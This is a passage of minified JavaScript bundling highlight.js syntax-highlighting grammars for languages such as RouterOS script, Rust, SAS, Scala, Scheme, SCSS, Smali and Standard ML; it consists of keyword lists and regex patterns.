").join("|")+")\\b"},{begin:/("[^"]*"|[^\s{}[\]]+)/}]}]},{className:"number",begin:/\*[0-9a-fA-F]+/},{begin:"\\b("+"add remove enable disable set get print export edit find run debug error info warning".split(" ").join("|")+")([\\s[(\\]|])",returnBegin:!0,contains:[{className:"builtin-name",begin:/\w+/}]},{className:"built_in",variants:[{begin:"(\\.\\./|/|\\s)(("+"traffic-flow traffic-generator firewall scheduler aaa accounting address-list address align area bandwidth-server bfd bgp bridge client clock community config connection console customer default dhcp-client dhcp-server discovery dns e-mail ethernet filter firmware gps graphing group hardware health hotspot identity igmp-proxy incoming instance interface ip ipsec ipv6 irq l2tp-server lcd ldp logging mac-server mac-winbox mangle manual mirror mme mpls nat nd neighbor network note ntp ospf ospf-v3 ovpn-server page peer pim ping policy pool port ppp pppoe-client pptp-server prefix profile proposal proxy queue radius resource rip ripng route routing screen script security-profiles server service service-port settings shares smb sms sniffer snmp snooper socks sstp-server system tool tracking type upgrade upnp user-manager users user vlan secret vrrp watchdog web-access wireless pptp pppoe lan wan layer7-protocol lease simple raw".split(" ").join("|")+");?\\s)+"},{begin:/\.\./,relevance:0}]}]}}BX8.exports=Qfq});var FX8=v((LLz,gX8)=>{function Ufq(A){return{name:"RenderMan RSL",keywords:{keyword:"float color point normal vector matrix while for if do return else break extern continue",built_in:"abs acos ambient area asin atan atmosphere attribute calculatenormal ceil cellnoise clamp comp concat cos degrees depth Deriv diffuse distance Du Dv environment exp faceforward filterstep floor format fresnel incident length lightsource log match max min mod noise normalize ntransform opposite option phong pnoise pow printf ptlined radians random reflect refract renderinfo round setcomp setxcomp setycomp setzcomp shadow sign sin smoothstep specular specularbrdf spline sqrt step tan texture textureinfo trace transform vtransform xcomp ycomp zcomp"},illegal:"</",contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,A.C_NUMBER_MODE,{className:"meta",begin:"#",end:"$"},{className:"class",beginKeywords:"surface displacement light volume imager",end:"\\("},{beginKeywords:"illuminate illuminance gather",end:"\\("}]}}gX8.exports=Ufq});var UX8=v((RLz,QX8)=>{function pfq(A){return{name:"Oracle Rules Language",keywords:{keyword:"BILL_PERIOD BILL_START BILL_STOP RS_EFFECTIVE_START RS_EFFECTIVE_STOP RS_JURIS_CODE RS_OPCO_CODE INTDADDATTRIBUTE|5 INTDADDVMSG|5 INTDBLOCKOP|5 INTDBLOCKOPNA|5 INTDCLOSE|5 INTDCOUNT|5 INTDCOUNTSTATUSCODE|5 INTDCREATEMASK|5 INTDCREATEDAYMASK|5 INTDCREATEFACTORMASK|5 INTDCREATEHANDLE|5 INTDCREATEOVERRIDEDAYMASK|5 INTDCREATEOVERRIDEMASK|5 INTDCREATESTATUSCODEMASK|5 INTDCREATETOUPERIOD|5 INTDDELETE|5 INTDDIPTEST|5 INTDEXPORT|5 INTDGETERRORCODE|5 INTDGETERRORMESSAGE|5 INTDISEQUAL|5 INTDJOIN|5 INTDLOAD|5 INTDLOADACTUALCUT|5 INTDLOADDATES|5 INTDLOADHIST|5 INTDLOADLIST|5 INTDLOADLISTDATES|5 INTDLOADLISTENERGY|5 INTDLOADLISTHIST|5 INTDLOADRELATEDCHANNEL|5 INTDLOADSP|5 INTDLOADSTAGING|5 INTDLOADUOM|5 INTDLOADUOMDATES|5 INTDLOADUOMHIST|5 INTDLOADVERSION|5 INTDOPEN|5 INTDREADFIRST|5 INTDREADNEXT|5 INTDRECCOUNT|5 INTDRELEASE|5 INTDREPLACE|5 INTDROLLAVG|5 INTDROLLPEAK|5 INTDSCALAROP|5 INTDSCALE|5 INTDSETATTRIBUTE|5 INTDSETDSTPARTICIPANT|5 INTDSETSTRING|5 INTDSETVALUE|5 INTDSETVALUESTATUS|5 INTDSHIFTSTARTTIME|5 INTDSMOOTH|5 INTDSORT|5 INTDSPIKETEST|5 INTDSUBSET|5 INTDTOU|5 INTDTOURELEASE|5 INTDTOUVALUE|5 INTDUPDATESTATS|5 INTDVALUE|5 STDEV INTDDELETEEX|5 INTDLOADEXACTUAL|5 INTDLOADEXCUT|5 INTDLOADEXDATES|5 INTDLOADEX|5 INTDLOADEXRELATEDCHANNEL|5 INTDSAVEEX|5 MVLOAD|5 MVLOADACCT|5 MVLOADACCTDATES|5 MVLOADACCTHIST|5 MVLOADDATES|5 MVLOADHIST|5 MVLOADLIST|5 MVLOADLISTDATES|5 MVLOADLISTHIST|5 IF FOR NEXT DONE SELECT END CALL ABORT CLEAR CHANNEL FACTOR LIST NUMBER OVERRIDE SET WEEK DISTRIBUTIONNODE ELSE WHEN THEN OTHERWISE IENUM CSV INCLUDE LEAVE RIDER SAVE DELETE NOVALUE SECTION WARN SAVE_UPDATE DETERMINANT LABEL REPORT REVENUE EACH IN FROM TOTAL CHARGE BLOCK AND OR CSV_FILE RATE_CODE AUXILIARY_DEMAND UIDACCOUNT RS BILL_PERIOD_SELECT HOURS_PER_MONTH INTD_ERROR_STOP SEASON_SCHEDULE_NAME ACCOUNTFACTOR ARRAYUPPERBOUND CALLSTOREDPROC GETADOCONNECTION GETCONNECT GETDATASOURCE GETQUALIFIER GETUSERID HASVALUE LISTCOUNT LISTOP LISTUPDATE LISTVALUE PRORATEFACTOR RSPRORATE SETBINPATH SETDBMONITOR WQ_OPEN BILLINGHOURS DATE DATEFROMFLOAT DATETIMEFROMSTRING DATETIMETOSTRING DATETOFLOAT DAY DAYDIFF DAYNAME DBDATETIME HOUR MINUTE MONTH MONTHDIFF MONTHHOURS MONTHNAME ROUNDDATE SAMEWEEKDAYLASTYEAR SECOND WEEKDAY WEEKDIFF YEAR YEARDAY YEARSTR COMPSUM HISTCOUNT HISTMAX HISTMIN HISTMINNZ HISTVALUE MAXNRANGE MAXRANGE MINRANGE COMPIKVA COMPKVA COMPKVARFROMKQKW COMPLF IDATTR FLAG LF2KW LF2KWH MAXKW POWERFACTOR READING2USAGE AVGSEASON MAXSEASON MONTHLYMERGE SEASONVALUE SUMSEASON ACCTREADDATES ACCTTABLELOAD CONFIGADD CONFIGGET CREATEOBJECT CREATEREPORT EMAILCLIENT EXPBLKMDMUSAGE EXPMDMUSAGE EXPORT_USAGE FACTORINEFFECT GETUSERSPECIFIEDSTOP INEFFECT ISHOLIDAY RUNRATE SAVE_PROFILE SETREPORTTITLE USEREXIT WATFORRUNRATE TO TABLE ACOS ASIN ATAN ATAN2 BITAND CEIL COS COSECANT COSH COTANGENT DIVQUOT DIVREM EXP FABS FLOOR FMOD FREPM FREXPN LOG LOG10 MAX MAXN MIN MINNZ MODF POW ROUND ROUND2VALUE ROUNDINT SECANT SIN SINH SQROOT TAN TANH FLOAT2STRING FLOAT2STRINGNC INSTR LEFT LEN LTRIM MID RIGHT RTRIM STRING STRINGNC TOLOWER TOUPPER TRIM NUMDAYS READ_DATE STAGING",built_in:"IDENTIFIER OPTIONS XML_ELEMENT XML_OP XML_ELEMENT_OF DOMDOCCREATE DOMDOCLOADFILE DOMDOCLOADXML DOMDOCSAVEFILE DOMDOCGETROOT DOMDOCADDPI DOMNODEGETNAME DOMNODEGETTYPE DOMNODEGETVALUE DOMNODEGETCHILDCT DOMNODEGETFIRSTCHILD DOMNODEGETSIBLING DOMNODECREATECHILDELEMENT DOMNODESETATTRIBUTE DOMNODEGETCHILDELEMENTCT DOMNODEGETFIRSTCHILDELEMENT DOMNODEGETSIBLINGELEMENT DOMNODEGETATTRIBUTECT DOMNODEGETATTRIBUTEI DOMNODEGETATTRIBUTEBYNAME DOMNODEGETBYNAME"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,{className:"literal",variants:[{begin:"#\\s+",relevance:0},{begin:"#[a-zA-Z .]+"}]}]}}QX8.exports=pfq});var dX8=v((yLz,pX8)=>{function dfq(A){let q="abstract as async await become box break const continue crate do dyn else enum extern false final fn for if impl in let loop macro match mod move mut override priv pub ref return self Self static struct super trait true try type typeof unsafe unsized use virtual where while yield",Y="drop i8 i16 i32 i64 i128 isize u8 u16 u32 u64 u128 usize f32 f64 str char bool Box Option Result String Vec Copy Send Sized Sync Drop Fn FnMut FnOnce ToOwned Clone Debug PartialEq PartialOrd Eq Ord AsRef AsMut Into From Default Iterator Extend IntoIterator DoubleEndedIterator ExactSizeIterator SliceConcatExt ToString assert! assert_eq! bitflags! bytes! cfg! col! concat! concat_idents! debug_assert! debug_assert_eq! env! panic! file! format! format_args! include_bin! include_str! line! local_data_key! module_path! option_env! print! println! select! stringify! try! unimplemented! unreachable! vec! write! writeln! macro_rules! assert_ne! debug_assert_ne!";return{name:"Rust",aliases:["rs"],keywords:{$pattern:A.IDENT_RE+"!?",keyword:q,literal:"true false Some None Ok Err",built_in:Y},illegal:"</",contains:[A.C_LINE_COMMENT_MODE,A.COMMENT("/\\*","\\*/",{contains:["self"]}),A.inherit(A.QUOTE_STRING_MODE,{begin:/b?"/,illegal:null}),{className:"string",variants:[{begin:/r(#*)"(.|\n)*?"\1(?!#)/},{begin:/b?'\\?(x\w{2}|u\w{4}|U\w{8}|.)'/}]},{className:"symbol",begin:/'[a-zA-Z_][a-zA-Z0-9_]*/},{className:"number",variants:[{begin:"\\b0b([01_]+)([ui](8|16|32|64|128|size)|f(32|64))?"},{begin:"\\b0o([0-7_]+)([ui](8|16|32|64|128|size)|f(32|64))?"},{begin:"\\b0x([A-Fa-f0-9_]+)([ui](8|16|32|64|128|size)|f(32|64))?"},{begin:"\\b(\\d[\\d_]*(\\.[0-9_]+)?([eE][+-]?[0-9_]+)?)([ui](8|16|32|64|128|size)|f(32|64))?"}],relevance:0},{className:"function",beginKeywords:"fn",end:"(\\(|<)",excludeEnd:!0,contains:[A.UNDERSCORE_TITLE_MODE]},{className:"meta",begin:"#!?\\[",end:"\\]",contains:[{className:"meta-string",begin:/"/,end:/"/}]},{className:"class",beginKeywords:"type",end:";",contains:[A.inherit(A.UNDERSCORE_TITLE_MODE,{endsParent:!0})],illegal:"\\S"},{className:"class",beginKeywords:"trait enum struct union",end:/\{/,contains:[A.inherit(A.UNDERSCORE_TITLE_MODE,{endsParent:!0})],illegal:"[\\w\\d]"},{begin:A.IDENT_RE+"::",keywords:{built_in:Y}},{begin:"->"}]}}pX8.exports=dfq});var lX8=v((ILz,cX8)=>{function cfq(A){let K="do if then else end until while abort array attrib by call cards cards4 catname continue datalines datalines4 delete delim delimiter display dm drop endsas error file filename footnote format goto in infile informat input keep label leave length libname link list lostcard merge missing modify options output out page put redirect remove rename replace retain return select set skip startsas stop title update waitsas where window x systask add and alter as cascade check create delete describe distinct drop foreign from group having index insert into in key like message modify msgtype not null on or order primary references reset restrict select set table unique update validate view where",q="abs|addr|airy|arcos|arsin|atan|attrc|attrn|band|betainv|blshift|bnot|bor|brshift|bxor|byte|cdf|ceil|cexist|cinv|close|cnonct|collate|compbl|compound|compress|cos|cosh|css|curobs|cv|daccdb|daccdbsl|daccsl|daccsyd|dacctab|dairy|date|datejul|datepart|datetime|day|dclose|depdb|depdbsl|depdbsl|depsl|depsl|depsyd|depsyd|deptab|deptab|dequote|dhms|dif|digamma|dim|dinfo|dnum|dopen|doptname|doptnum|dread|dropnote|dsname|erf|erfc|exist|exp|fappend|fclose|fcol|fdelete|fetch|fetchobs|fexist|fget|fileexist|filename|fileref|finfo|finv|fipname|fipnamel|fipstate|floor|fnonct|fnote|fopen|foptname|foptnum|fpoint|fpos|fput|fread|frewind|frlen|fsep|fuzz|fwrite|gaminv|gamma|getoption|getvarc|getvarn|hbound|hms|hosthelp|hour|ibessel|index|indexc|indexw|input|inputc|inputn|int|intck|intnx|intrr|irr|jbessel|juldate|kurtosis|lag|lbound|left|length|lgamma|libname|libref|log|log10|log2|logpdf|logpmf|logsdf|lowcase|max|mdy|mean|min|minute|mod|month|mopen|mort|n|netpv|nmiss|normal|note|npv|open|ordinal|pathname|pdf|peek|peekc|pmf|point|poisson|poke|probbeta|probbnml|probchi|probf|probgam|probhypr|probit|probnegb|probnorm|probt|put|putc|putn|qtr|quote|ranbin|rancau|ranexp|rangam|range|rank|rannor|ranpoi|rantbl|rantri|ranuni|repeat|resolve|reverse|rewind|right|round|saving|scan|sdf|second|sign|sin|sinh|skewness|soundex|spedis|sqrt|std|stderr|stfips|stname|stnamel|substr|sum|symget|sysget|sysmsg|sysprod|sysrc|system|tan|tanh|time|timepart|tinv|tnonct|today|translate|tranwrd|trigamma|trim|trimn|trunc|uniform|upcase|uss|var|varfmt|varinfmt|varlabel|varlen|varname|varnum|varray|varrayx|vartype|verify|vformat|vformatd|vformatdx|vformatn|vformatnx|vformatw|vformatwx|vformatx|vinarray|vinarrayx|vinformat|vinformatd|vinformatdx|vinformatn|vinformatnx|vinformatw|vinformatwx|vinformatx|vlabel|vlabelx|vlength|vlengthx|vname|vnamex|vtype|vtypex|weekday|year|yyq|zipfips|zipname|zipnamel|zipstate";return{name:"SAS",case_insensitive:!0,keywords:{literal:"null missing _all_ _automatic_ _character_ _infile_ _n_ _name_ _null_ _numeric_ _user_ _webout_",meta:K},contains:[{className:"keyword",begin:/^\s*(proc [\w\d_]+|data|run|quit)[\s;]/},{className:"variable",begin:/&[a-zA-Z_&][a-zA-Z0-9_]*\.?/},{className:"emphasis",begin:/^\s*datalines|cards.*;/,end:/^\s*;\s*$/},{className:"built_in",begin:"%("+"bquote|nrbquote|cmpres|qcmpres|compstor|datatyp|display|do|else|end|eval|global|goto|if|index|input|keydef|label|left|length|let|local|lowcase|macro|mend|nrbquote|nrquote|nrstr|put|qcmpres|qleft|qlowcase|qscan|qsubstr|qsysfunc|qtrim|quote|qupcase|scan|str|substr|superq|syscall|sysevalf|sysexec|sysfunc|sysget|syslput|sysprod|sysrc|sysrput|then|to|trim|unquote|until|upcase|verify|while|window"+")"},{className:"name",begin:/%[a-zA-Z_][a-zA-Z_0-9]*/},{className:"meta",begin:"[^%]("+q+")[(]"},{className:"string",variants:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]},A.COMMENT("\\*",";"),A.C_BLOCK_COMMENT_MODE]}}cX8.exports=cfq});var nX8=v((SLz,iX8)=>{function lfq(A){let K={className:"meta",begin:"@[A-Za-z]+"},q={className:"subst",variants:[{begin:"\\$[A-Za-z0-9_]+"},{begin:/\$\{/,end:/\}/}]},Y={className:"string",variants:[{begin:'"""',end:'"""'},{begin:'"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]},{begin:'[a-z]+"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE,q]},{className:"string",begin:'[a-z]+"""',end:'"""',contains:[q],relevance:10}]},z={className:"symbol",begin:"'\\w[\\w\\d_]*(?!')"},w={className:"type",begin:"\\b[A-Z][A-Za-z0-9_]*",relevance:0},H={className:"title",begin:/[^0-9\n\t "'(),.`{}\[\]:;][^\n\t "'(),.`{}\[\]:;]+|[^0-9\n\t "'(),.`{}\[\]:;=]/,relevance:0},J={className:"class",beginKeywords:"class object trait type",end:/[:={\[\n;]/,excludeEnd:!0,contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{beginKeywords:"extends with",relevance:10},{begin:/\[/,end:/\]/,excludeBegin:!0,excludeEnd:!0,relevance:0,contains:[w]},{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,relevance:0,contains:[w]},H]},O={className:"function",beginKeywords:"def",end:/[:={\[(\n;]/,excludeEnd:!0,contains:[H]};return{name:"Scala",keywords:{literal:"true false null",keyword:"type yield lazy override def with val var sealed abstract private trait object if forSome for while throw finally protected extends import final return else break new catch super class case package default try this match continue throws implicit"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,Y,z,w,O,J,A.C_NUMBER_MODE,K]}}iX8.exports=lfq});var oX8=v((hLz,rX8)=>{function ifq(A){let Y="(-|\\+)?\\d+([./]\\d+)?[+\\-](-|\\+)?\\d+([./]\\d+)?i",z={$pattern:"[^\\(\\)\\[\\]\\{\\}\",'`;#|\\\\\\s]+","builtin-name":"case-lambda call/cc class define-class exit-handler field import inherit init-field interface let*-values let-values let/ec mixin opt-lambda override protect provide public rename require require-for-syntax syntax syntax-case syntax-error unit/sig unless when with-syntax and begin call-with-current-continuation call-with-input-file call-with-output-file case cond define define-syntax delay do dynamic-wind else for-each if lambda let let* let-syntax letrec letrec-syntax map or syntax-rules ' * + , ,@ - ... / ; < <= = => > >= ` abs acos angle append apply asin assoc assq assv atan boolean? caar cadr call-with-input-file call-with-output-file call-with-values car cdddar cddddr cdr ceiling char->integer char-alphabetic? char-ci<=? char-ci<? char-ci=? char-ci>=? char-ci>? char-downcase char-lower-case? char-numeric? char-ready? char-upcase char-upper-case? char-whitespace? char<=? char<? char=? char>=? char>? char? close-input-port close-output-port complex? cons cos current-input-port current-output-port denominator display eof-object? eq? equal? eqv? eval even? exact->inexact exact? exp expt floor force gcd imag-part inexact->exact inexact? input-port? integer->char integer? interaction-environment lcm length list list->string list->vector list-ref list-tail list? load log magnitude make-polar make-rectangular make-string make-vector max member memq memv min modulo negative? newline not null-environment null? number->string number? numerator odd? open-input-file open-output-file output-port? pair? peek-char port? positive? procedure? quasiquote quote quotient rational? rationalize read read-char real-part real? remainder reverse round scheme-report-environment set! set-car! set-cdr! sin sqrt string string->list string->number string->symbol string-append string-ci<=? string-ci<? string-ci=? string-ci>=? string-ci>? string-copy string-fill! string-length string-ref string-set! string<=? string<? string=? string>=? string>? string? substring symbol->string symbol? tan transcript-off transcript-on truncate values vector vector->list vector-fill! vector-length vector-ref vector-set! with-input-from-file with-output-to-file write write-char zero?"},w={className:"literal",begin:"(#t|#f|#\\\\[^\\(\\)\\[\\]\\{\\}\",'`;#|\\\\\\s]+|#\\\\.)"},H={className:"number",variants:[{begin:"(-|\\+)?\\d+([./]\\d+)?",relevance:0},{begin:Y,relevance:0},{begin:"#b[0-1]+(/[0-1]+)?"},{begin:"#o[0-7]+(/[0-7]+)?"},{begin:"#x[0-9a-f]+(/[0-9a-f]+)?"}]},J=A.QUOTE_STRING_MODE,O=[A.COMMENT(";","$",{relevance:0}),A.COMMENT("#\\|","\\|#")],X={begin:"[^\\(\\)\\[\\]\\{\\}\",'`;#|\\\\\\s]+",relevance:0},$={className:"symbol",begin:"'[^\\(\\)\\[\\]\\{\\}\",'`;#|\\\\\\s]+"},_={endsWithParent:!0,relevance:0},G={variants:[{begin:/'/},{begin:"`"}],contains:[{begin:"\\(",end:"\\)",contains:["self",w,J,H,X,$]}]},Z={className:"name",relevance:0,begin:"[^\\(\\)\\[\\]\\{\\}\",'`;#|\\\\\\s]+",keywords:z},D={variants:[{begin:"\\(",end:"\\)"},{begin:"\\[",end:"\\]"}],contains:[{begin:/lambda/,endsWithParent:!0,returnBegin:!0,contains:[Z,{endsParent:!0,variants:[{begin:/\(/,end:/\)/},{begin:/\[/,end:/\]/}],contains:[X]}]},Z,_]};return _.contains=[w,H,J,X,$,G,D].concat(O),{name:"Scheme",illegal:/\S/,contains:[A.SHEBANG(),H,J,$,G,D].concat(O)}}rX8.exports=ifq});var sX8=v((bLz,aX8)=>{function nfq(A){let K=[A.C_NUMBER_MODE,{className:"string",begin:`'|"`,end:`'|"`,contains:[A.BACKSLASH_ESCAPE,{begin:"''"}]}];return{name:"Scilab",aliases:["sci"],keywords:{$pattern:/%?\w+/,keyword:"abort break case clear catch continue do elseif else endfunction end for function global if pause return resume select try then while",literal:"%f %F %t %T %pi %eps %inf %nan %e %i %z %s",built_in:"abs and acos asin atan ceil cd chdir clearglobal cosh cos cumprod deff disp error exec execstr exists exp eye gettext floor fprintf fread fsolve imag isdef isempty isinfisnan isvector lasterror length load linspace list listfiles log10 log2 log max min msprintf mclose mopen ones or pathconvert poly printf prod pwd rand real round sinh sin size gsort sprintf sqrt strcat strcmps tring sum system tanh tan type typename warning zeros matrix"},illegal:'("|#|/\\*|\\s+/\\w+)',contains:[{className:"function",beginKeywords:"function",end:"$",contains:[A.UNDERSCORE_TITLE_MODE,{className:"params",begin:"\\(",end:"\\)"}]},{begin:"[a-zA-Z_][a-zA-Z_0-9]*[\\.']+",relevance:0},{begin:"\\[",end:"\\][\\.']*",relevance:0,contains:K},A.COMMENT("//","$")].concat(K)}}aX8.exports=nfq});var eX8=v((xLz,tX8)=>{var rfq=(A)=>{return{IMPORTANT:{className:"meta",begin:"!important"},HEXCOLOR:{className:"number",begin:"#([a-fA-F0-9]{6}|[a-fA-F0-9]{3})"},ATTRIBUTE_SELECTOR_MODE:{className:"selector-attr",begin:/\[/,end:/\]/,illegal:"$",contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]}}},ofq=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code","dd","del","details","dfn","div","dl","dt","em","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","header","hgroup","html","i","iframe","img","input","ins","kbd","label","legend","li","main","mark","menu","nav","object","ol","p","q","quote","samp","section","span","strong","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","tr","ul","var","video"],afq=["any-hover","any-pointer","aspect-ratio","color","color-gamut","color-index","device-aspect-ratio","device-height","device-width","display-mode","forced-colors","grid","height","hover","inverted-colors","monochrome","orientation","overflow-block","overflow-inline","pointer","prefers-color-scheme","prefers-contrast","prefers-reduced-motion","prefers-reduced-transparency","resolution","scan","scripting","update","width","min-width","max-width","min-height","max-height"],sfq=["active","any-link","blank","checked","current","default","defined","dir","disabled","drop","empty","enabled","first","first-child","first-of-type","fullscreen","future","focus","focus-visible","focus-within","has","host","host-context","hover","indeterminate","in-range","invalid","is","lang","last-child","last-of-type","left","link","local-link","not","nth-child","nth-col","nth-last-child","nth-last-col","nth-last-of-type","nth-of-type","only-child","only-of-type","optional","out-of-range","past","placeholder-shown","read-only","read-write","required","right","root","scope","target","target-within","user-invalid","valid","visited","where"],tfq=["after","backdrop","before","cue","cue-region","first-letter","first-line","grammar-error","marker","part","placeholder","selection","slotted","spelling-error"],efq=["align-content","align-items","align-self","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","auto","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","clip-path","color","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","cursor","direction","display","empty-cells","filter","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","font","font-display","font-family","font-feature-settings","font-kerning","font-language-override","font-size","font-size-adjust","font-smoothing","font-stretch","font-style","font-variant","font-variant-ligatures","font-variation-settings","font-weight","height","hyphens","icon","image-orientation","image-rendering","image-resolution","ime-mode","inherit","initial","justify-content","left","letter-spacing","line-height","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","mask","max-height","max-width","min-height","min-width","nav-down","nav-index","nav-left","nav-right","nav-up","none","normal","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page-break-after","page-break-before","page-break-inside","perspective","perspective-origin","pointer-events","position","quotes","resize","right","src","tab-size","table-layout","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-style","text-indent","text-overflow","text-rendering","text-shadow","text-transform","text-underline-position","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","white-space","widows","width","word-break","word-spacing","word-wrap","z-index"].reverse();function ANq(A){let K=rfq(A),q=tfq,Y=sfq,z="@[a-z-]+",w="and or not only",H="[a-zA-Z-][a-zA-Z0-9_-]*",J={className:"variable",begin:"(\\$[a-zA-Z-][a-zA-Z0-9_-]*)\\b"};return{name:"SCSS",case_insensitive:!0,illegal:"[=/|']",contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,{className:"selector-id",begin:"#[A-Za-z0-9_-]+",relevance:0},{className:"selector-class",begin:"\\.[A-Za-z0-9_-]+",relevance:0},K.ATTRIBUTE_SELECTOR_MODE,{className:"selector-tag",begin:"\\b("+ofq.join("|")+")\\b",relevance:0},{className:"selector-pseudo",begin:":("+Y.join("|")+")"},{className:"selector-pseudo",begin:"::("+q.join("|")+")"},J,{begin:/\(/,end:/\)/,contains:[A.CSS_NUMBER_MODE]},{className:"attribute",begin:"\\b("+efq.join("|")+")\\b"},{begin:"\\b(whitespace|wait|w-resize|visible|vertical-text|vertical-ideographic|uppercase|upper-roman|upper-alpha|underline|transparent|top|thin|thick|text|text-top|text-bottom|tb-rl|table-header-group|table-footer-group|sw-resize|super|strict|static|square|solid|small-caps|separate|se-resize|scroll|s-resize|rtl|row-resize|ridge|right|repeat|repeat-y|repeat-x|relative|progress|pointer|overline|outside|outset|oblique|nowrap|not-allowed|normal|none|nw-resize|no-repeat|no-drop|newspaper|ne-resize|n-resize|move|middle|medium|ltr|lr-tb|lowercase|lower-roman|lower-alpha|loose|list-item|line|line-through|line-edge|lighter|left|keep-all|justify|italic|inter-word|inter-ideograph|inside|inset|inline|inline-block|inherit|inactive|ideograph-space|ideograph-parenthesis|ideograph-numeric|ideograph-alpha|horizontal|hidden|help|hand|groove|fixed|ellipsis|e-resize|double|dotted|distribute|distribute-space|distribute-letter|distribute-all-lines|disc|disabled|default|decimal|dashed|crosshair|collapse|col-resize|circle|char|center|capitalize|break-word|break-all|bottom|both|bolder|bold|block|bidi-override|below|baseline|auto|always|all-scroll|absolute|table|table-cell)\\b"},{begin:":",end:";",contains:[J,K.HEXCOLOR,A.CSS_NUMBER_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,K.IMPORTANT]},{begin:"@(page|font-face)",lexemes:"@[a-z-]+",keywords:"@page @font-face"},{begin:"@",end:"[{;]",returnBegin:!0,keywords:{$pattern:/[a-z-]+/,keyword:"and or not only",attribute:afq.join(" ")},contains:[{begin:"@[a-z-]+",className:"keyword"},{begin:/[a-z-]+(?=:)/,className:"attribute"},J,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,K.HEXCOLOR,A.CSS_NUMBER_MODE]}]}}tX8.exports=ANq});var K$8=v((uLz,A$8)=>{function KNq(A){return{name:"Shell Session",aliases:["console"],contains:[{className:"meta",begin:/^\s{0,3}[/~\w\d[\]()@-]*[>%$#]/,starts:{end:/[^\\](?=\s*$)/,subLanguage:"bash"}}]}}A$8.exports=KNq});var Y$8=v((BLz,q$8)=>{function qNq(A){let K=["add","and","cmp","cmpg","cmpl","const","div","double","float","goto","if","int","long","move","mul","neg","new","nop","not","or","rem","return","shl","shr","sput","sub","throw","ushr","xor"],q=["aget","aput","array","check","execute","fill","filled","goto/16","goto/32","iget","instance","invoke","iput","monitor","packed","sget","sparse"],Y=["transient","constructor","abstract","final","synthetic","public","private","protected","static","bridge","system"];return{name:"Smali",contains:[{className:"string",begin:'"',end:'"',relevance:0},A.COMMENT("#","$",{relevance:0}),{className:"keyword",variants:[{begin:"\\s*\\.end\\s[a-zA-Z0-9]*"},{begin:"^[ ]*\\.[a-zA-Z]*",relevance:0},{begin:"\\s:[a-zA-Z_0-9]*",relevance:0},{begin:"\\s("+Y.join("|")+")"}]},{className:"built_in",variants:[{begin:"\\s("+K.join("|")+")\\s"},{begin:"\\s("+K.join("|")+")((-|/)[a-zA-Z0-9]+)+\\s",relevance:10},{begin:"\\s("+q.join("|")+")((-|/)[a-zA-Z0-9]+)*\\s",relevance:10}]},{className:"class",begin:`L[^(;: ]*;`,relevance:0},{begin:"[vp][0-9]+"}]}}q$8.exports=qNq});var w$8=v((mLz,z$8)=>{function YNq(A){let q={className:"string",begin:"\\$.{1}"},Y={className:"symbol",begin:"#"+A.UNDERSCORE_IDENT_RE};return{name:"Smalltalk",aliases:["st"],keywords:"self super nil true false thisContext",contains:[A.COMMENT('"','"'),A.APOS_STRING_MODE,{className:"type",begin:"\\b[A-Z][A-Za-z0-9_]*",relevance:0},{begin:"[a-z][a-zA-Z0-9_]*:",relevance:0},A.C_NUMBER_MODE,Y,q,{begin:"\\|[ ]*[a-z][a-zA-Z0-9_]*([ ]+[a-z][a-zA-Z0-9_]*)*[ ]*\\|",returnBegin:!0,end:/\|/,illegal:/\S/,contains:[{begin:"(\\|[ ]*)?[a-z][a-zA-Z0-9_]*"}]},{begin:"#\\(",end:"\\)",contains:[A.APOS_STRING_MODE,q,A.C_NUMBER_MODE,Y]}]}}z$8.exports=YNq});var J$8=v((gLz,H$8)=>{function zNq(A){return{name:"SML (Standard ML)",aliases:["ml"],keywords:{$pattern:"[a-z_]\\w*!?",keyword:"abstype and andalso as case datatype do else end eqtype exception fn fun functor handle if in include infix infixr let local nonfix of op open orelse raise rec sharing sig signature struct structure then type val with withtype where while",built_in:"array bool char exn int list option order real ref string substring vector unit word",literal:"true false NONE SOME LESS EQUAL GREATER 